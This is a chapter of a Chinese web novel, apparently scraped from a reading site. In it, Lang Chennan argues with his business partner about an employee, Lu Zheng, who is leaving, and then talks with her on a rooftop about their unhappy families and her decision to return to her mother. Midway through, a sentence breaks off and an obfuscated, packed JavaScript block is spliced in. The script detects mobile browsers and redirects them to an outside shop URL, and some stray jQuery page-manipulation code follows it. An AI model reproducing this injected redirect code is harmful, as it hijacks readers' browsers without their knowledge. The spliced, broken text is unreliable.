晚霞染红了天边,赵赫的办公室内,坐着朗陈南。
赵赫翘着个二郎腿,一脸揶揄地看着朗陈南,“啧啧啧,你说说。”
说着,他顺势拿过了摆在桌面上的烟盒,就准备点烟,却被朗陈南一把按住。
赵赫有些困惑地看向朗陈南,双眼中露出了一个大大的问号。
朗陈南唇瓣微启,“别抽。”
“……”
赵赫瞪大了双眼,他的手还压在烟盒上,但朗陈南的动作也没有见好就收的打算。
见状,他只好先一步服软,“行吧,看在你心情不好的份上。”
“我当时是不是和你说过了。”
赵赫松开了摁在烟盒上的手,“我当时就说了,与其招她,不如招一个成手。一个稳定的,嘉海市的成手。最好是成家的,这样就不容易跑路了,对不对?”
朗陈南无言地与赵赫对视了片刻,“但是你也无法否认她入职的这一年,尤其是后半年,给我们拿下了不少研发的测试。”
“对,没错。”赵赫又将目光投向了烟盒,但是犹豫了片刻,选择喝了一口面前的茶水,“可是她就是我们培养出来的啊,要是没有我们公司提供的平台和资源,她哪能这么快成长起来。”
闻言,朗陈南蹙着眉,瞥了赵赫一眼。
朗陈南:“她这么快成长起来,是她自己努力的成果,陆铮这样的人,不管放在哪里,都会凭借自己的努力挣扎出来的。”
“切——”赵赫不满地撇了撇嘴,“你都有理,我说不过你。”
赵赫打量着朗陈南蹙起的眉心,没好气地说,“你这眉头是想夹死几只苍蝇?”
他无奈地叹了口气,“算了算了,不然我去替你当个说客?毕竟她这一年多的时间,私下里也接了不少你给她的活儿,赚的钱远远超过她工资了。而且她之前睡在办公室的事情,我也是睁一只眼闭一只眼,看在这些东西的份上,她也不好意思走吧?”
“发的私包价格,是接来价格的对半砍,这些东西转包也差不多这个价格,甚至还要更高。”
朗陈南顿了顿,“她画得还又快又好,她这一个人的效益肯定没让公司亏,还赚了不少吧?住办公室的水电费不是从我的股份收益里扣的吗?”
“得。”
赵赫的脸突然沉了下来,他不耐烦地摆了摆手,“你没发现你真的变了很多吗?自从遇见这个叫陆铮的人。”
“我没变过。”朗陈南沉声道,但那后半句——我从来没变过,却在触及赵赫冰冷的目光中,咽了回去。
沉默在两人之间流窜了好一会儿,赵赫先一步开口。
只是这一回开口,他一改刚才的冷脸,又换上了无懈可击的笑容,
“你到底想怎么样?我这替你想法子呢,你倒好,有成百上千句的反驳等着我。”
“你又不想让她走,又自己在这里生闷气?”
赵赫叹了口气,“算了吧陈南,天下何处无芳草,这个没拿下,换一个呗?”
“我没有不想让她走。”
朗陈南抬眸对上了赵赫的目光,他将手底下按着的烟盒推到了赵赫的面前,“她只是在我们公司上班,又不是签了卖身契,想去哪里是她的自由。”
“她是自由的。”
说着,朗陈南直起身,“少抽点吧。”
无视了赵赫在身后的嚎叫,朗陈南走出了办公室。
虽说没有不想让陆铮离开,但陆铮即将要离开的事实,还是让朗陈南有些烦闷。
密闭的办公楼内,哪怕有新风系统,朗陈南也觉得发闷。
他走出了写字楼,光顾了一圈小卖铺后,在抬头的瞬间,发现了在二楼天台处的人——
陆铮正趴在天台的栏杆上,静静地望向远方,就像两人第一次在天台上谈话那样。
朗陈南望着她,一个念头隐隐地在他的心中成形。
……
糖果伸到陆铮面前的时候,陆铮不用猜都知道是谁。
陆铮头也没转,说,“不吃了,陈南哥。”
“噢。”朗陈南轻声应了下,陆铮就感觉到自己身边大约一米处的栏杆有了被往下压的动静。
朗陈南也趴在了栏杆上。
他什么都没有说,包括对于陆铮要回沂宁市的离职打算,也没有过多的挽留。
朗陈南充分尊重了陆铮的决定,也保持了一个刚刚好的距离。
好半晌,陆铮才先一步开口。
“陈南哥……”
但她刚喊了下朗陈南的名字,就噎住了。
陆铮转过头,朗陈南的口中正含着一根棒棒糖,压根就没有因为陆铮的呼唤回过头,仍是定定地仰着脑袋,看着远处深沉的天空。
见状,陆铮才收回目光,说,“我知道现在公司有不少项目当时是我做测试通过的……我是说,如果……”
陆铮顿了顿,似乎在寻找着合适的措辞,“如果有需要我的话,我就算回家了,也可以画点图的……”
“……陆铮。”
陆铮话音落下后几十秒后,朗陈南才沉声道,“这个世界上,没有谁离了谁就不行的,公司也是这样。你只是这个公司的一个齿轮,当这个轮子离开或者生锈的时候,公司就会去换一个新的。”
他扭头看向陆铮,刚好对上了被他的话语吸引过来的陆铮的目光,“这个公司没了你,也能转。”
好冰冷的话。
三十七度的嘴,是怎么能说出这么冰冷的话的。
陆铮的目光定在朗陈南的身上,虽然她明白这个道理,但……
当这个道理化作现实摆在陆铮的面前,陆铮还是有点接受不了。
她平静的脸上出现了一丝的裂痕,但还没等陆铮开口,朗陈南又自顾自地轻笑了一声,说,
“当然,这个公司没了我,也能转。”
陆铮的眉毛跳了跳。
这人真厉害,狠起来连自己都砍。
既然朗陈南都这么说了,陆铮也就不好再吐槽什么,两人又不约而同地陷入了沉默。
冬日的海风在天台上流窜,零下的温度哪怕穿得再厚实,也阻挡不了全部的风。
就在陆铮觉得自己的鼻子被吹得通红,有些发痒的时候,朗陈南打破了沉默。
朗陈南:“陆铮,其实我有个问题想问你。”
“问吧。”
朗陈南默默地收紧了扣在自己手臂上的十指,他的头顶是暗沉的夜色,在嘉海市的市中心,已经许久没有见到星星了。
他又犹豫了许久,才清了清嗓子,问,“你……不觉得自己很不幸吗?”
朗陈南的话音刚落,陆铮准备活动发麻的腿的动作,便顿住了。
她扭过头,去看朗陈南——朗陈南的呢子大衣被风吹动了衣摆,他的头发也被吹得凌乱。
在看起来朗陈南的一切都被风打乱的情况下,陆铮发现,他的那双眼睛相当平静。
平静中透露出了一丝的漠然。
朗陈南见陆铮没有回答,他又再度开口,“自己出生在这样的家庭,而别人出生在幸福美满的家庭的时候,你不觉得很不公平吗?”
他深吸了一口气,看向陆铮,“你没有起过——为什么是我遭遇这些的念头吗?”
朗陈南的目光定定地落在陆铮的身上,他看起来好像是在看着陆铮,但又不是。
在微弱的光线下,陆铮恍惚和十几岁的自己重合在了一起。
他记得,那个时候的自己,歇斯底里地在呐喊,“凭什么对我这么不公平?凭什么要我受到这些?”
朗陈南过分认真的神情,让陆铮意识到这并不是玩笑。
她与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014732|136092||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
朗陈南对视了片刻,移开了视线,笑道,“如果我和你说,我没有觉得自己很不幸,那肯定是骗你的。”
“你也见过我爸爸了——你看啊,他真的不管在社会上,还是在家庭上,都是一个不折不扣的大混蛋。这个大混蛋呢,在我的成长过程当中,只给了我金钱的支持和一丁点的父爱——虽然,这份支持也不太够,但总好过没有。就是这样的一个男人,他带给了我和我的母亲无尽的痛苦,但我却因为被世俗规训,被困在了这个牢笼里。”
朗陈南:“那你现在还打算为了这样的父亲回去吗?”
“嗯?”陆铮困惑地嗯了一声,看向朗陈南,“不啊,我当然不是为了他,他不配。”
掌心贴上了冰凉的栏杆,刺骨的温度顺着通红的指尖传进了陆铮的血液当中,“我是为了我的妈妈。”
“手别抓着栏杆,不冷吗?”
朗陈南突然打断了陆铮,往前走了两步,将陆铮已经泛红的手拍下了栏杆。
“噢……”
陆铮悻悻地收回手,继续刚才的话头,
“我的妈妈,是一个伟大的普通人。妈妈给了我生命,在自己身陷囹圄的时候,也不忘给我最多的母爱。她将我托举到了她的肩上,让我能够站在她的肩上看见更广阔的世界——所以,这一回,我做不到踩在我妈妈的脑袋上,爬出这个沼泽。”
“我的妈妈啊……”
陆铮看向了天空,她的眼中滑过了一丝湿润,“我的妈妈啊……她并不完美,她犯过错,这些错也曾经让我一度非常非常地恨她。但……时过境迁,我又会觉得,她的出发点是好的,她啊,不是为了自己才犯错的。她不过是怀揣着梦想,带着希望自己能够让一家人过上好的生活,才从这个深渊一脚迈进另一个深渊的。”
“这样的妈妈,给了我很多很多的爱,让我能够在贫瘠的土壤中长大。”
陆铮深吸了一口气,说,“所以说,我曾经几度觉得自己非常不幸,但是当我回到家,看见我妈妈笑着朝我走来,问我,铮铮饿了吗的时候,我就觉得其实我还算幸福的。如果没有我的妈妈,我一定坚持不下来的,所以……我要回去,不能带着妈妈逃离,那就和妈妈一起面对。”
朗陈南动了动唇,“可是这不是最优解。”
“当然。”陆铮揣在口袋里的手,默默攥紧了,“我当然知道这不是最优解,但这是唯一解——因为我既不够强大,也不够有钱,更不够狠心。”
“我只是这个苍茫世界中一个最普通的普通人……”
我寻找了一路的两全之法,最后发现,我无法让所有人都满意,我只能让自己满意。
“而且啊……”
陆铮停顿的声音又响起来了,“我不回去,选择将我妈丢在沂宁市,自己待在嘉海市,在我看来才是一种逃避。而我回去了,至少在我爸那个‘谁挣钱谁就是家里老大’的价值观下,我还可以保护我的妈妈。”
她笑了,“我这怎么不算勇敢呢。”
“确实很勇敢。”
朗陈南也笑了,他的后半句话,用细微到不能再细微的声音说着,“比我勇敢多了。”
朗陈南仿佛看见了十二岁的自己,缩在卧室小小的角落,哭得泪流满面。
他一遍又一遍地问着,“为什么是我?为什么不能是别人?我又为什么要面对这些?”
没有人能够给他回答。
直到今天,依旧没有回答。
但……那刚刚成形的念头,逐渐在朗陈南的心中越发清晰。
“嗯?你说什么?”
陆铮没听清,她看向朗陈南。
“我说——”
朗陈南脸上的笑容更甚了,带着几分坚定,也带着几分决心,“吃糖吗?”
“……不吃。”
“吃多了,长蛀牙。”